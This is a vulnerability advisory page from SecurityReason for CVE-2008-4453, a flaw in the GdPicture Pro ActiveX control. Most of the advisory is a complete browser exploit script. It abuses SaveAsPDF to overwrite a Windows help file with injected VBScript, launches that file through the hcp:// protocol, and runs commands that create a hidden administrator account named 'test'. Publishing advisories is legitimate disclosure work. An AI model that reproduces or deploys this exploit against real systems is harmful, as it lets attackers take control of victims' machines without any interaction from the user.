SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

GdPicture Pro ActiveX (gdpicture4s.ocx) File Overwrite / Exec Exploit


Arrow  SecurityAlert : 4355
Arrow  CVE : CVE-2008-4453
Arrow  CWE : CWE-264
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Victim interaction required : No
Arrow  Exploit Available : Yes
Arrow  Credit : EgiX
Arrow  Published : 08.10.2008

Arrow  Affected Software : dspicture:light_imaging_toolkit:4.7.1
dspicture:pro_imaging_sdk:5.7.1



Arrow  Advisory Content :  

<!--

--------------------------------------------------------------------------
-------
GdPicture Pro ActiveX (gdpicture4s.ocx) Remote File Overwrite / Execution
Exploit
--------------------------------------------------------------------------
-------

author...: EgiX
mail.....: n0b0d13s[at]gmail[dot]com

link.....: http://www.gdpicture.com/
ProgID...: GdPicture4S.Imaging

Description:

SaveAsPDF() method allow to create / overwrite file through
sFilePath argument. By using other arguments, such as sTitle,
an attacker could be inject html code and execute it using
the hcp:// protocol (tecnique discovered by rgod).
Also GdPicturePro5.Imaging is prone to this vulnerability,
but it doesn't implements the IObjectSafety interface.

Tested on Windows XP SP2 with IE 6/7

Object safety report:

Report for Clsid: {E8512363-3581-42EF-A43D-990E7935C8BE}
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe: Safe for untrusted: caller,data
IPStorage Safe: Safe for untrusted: caller,data

[*] A special thanks goes to shinnai, for his patience :)

-->

<object classid='clsid:E8512363-3581-42EF-A43D-990E7935C8BE'
id='test'></object>

<script language='javascript'>

var cmd = "cmd /c net user test test /add & net localgroup Administrators
test /add";

var outFile =
"c:\\windows\\pchealth\\helpctr\\system\\errors\\badurl.htm";

var BMP = "\x42\x4d\x42\x00\x00\x00\x00\x00\x00\x00\x3e" +
"\x00\x00\x00\x28\x00\x00\x00\x01\x00\x00\x00" +
"\x01\x00\x00\x00\x01\x00\x01\x00\x00\x00\x00" +
"\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\xff\xff\xff\x00\x80\x00\x00\x00";

var sc = "<object classid='clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8'
id='wsh'><\/object>" +
"<script language='vbscript'>wsh.Run \"" + cmd + "\",
SW_HIDE<\/script>";

test.SetLicenseNumber("0317955669879948884162456"); // only to avoid the
nag screen
test.CreateImageFromString(BMP);

if (test.SaveAsPDF(outFile, sc, "", "", "")) location.href =
"hcp://system/errors/badurl.htm";

</script>



Arrow  References :

http://www.securityfocus.com/bid/31504
http://www.milw0rm.com/exploits/6638
http://www.frsirt.com/english/advisories/2008/2708
http://secunia.com/advisories/31966
http://secunia.com/advisories/31898




Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc:fts_*() Multiple Denial of Service

Security Risk Medium- 2009-10-02

The fts functions are provided for traversing UNIX file hierarchies...

Apache RSS Apache Alert

» Apache 1.3.41 mod_proxy
   Integer overflow (code
   execution)

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion in work
   directory

» Apache Tomcat 6.0.20 and
   5.5.28 insecure partial
   deploy after failed
   undeploy

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion and/or
   alteration

PHP RSS PHP Alert

» PHP 5.2.12/5.3.1
   session.save_path
   safe_mode and
   open_basedir bypass

» PHP 5.2.12/5.3.1 Multiple
   Vulnerabilities

» PHP 5.2.11 libgd multiple
   vulnerabilities

» PHP 5.2.11 tempnam()
   safe_mode bypass

Copyright © SecurityReason.com. All Rights Reserved.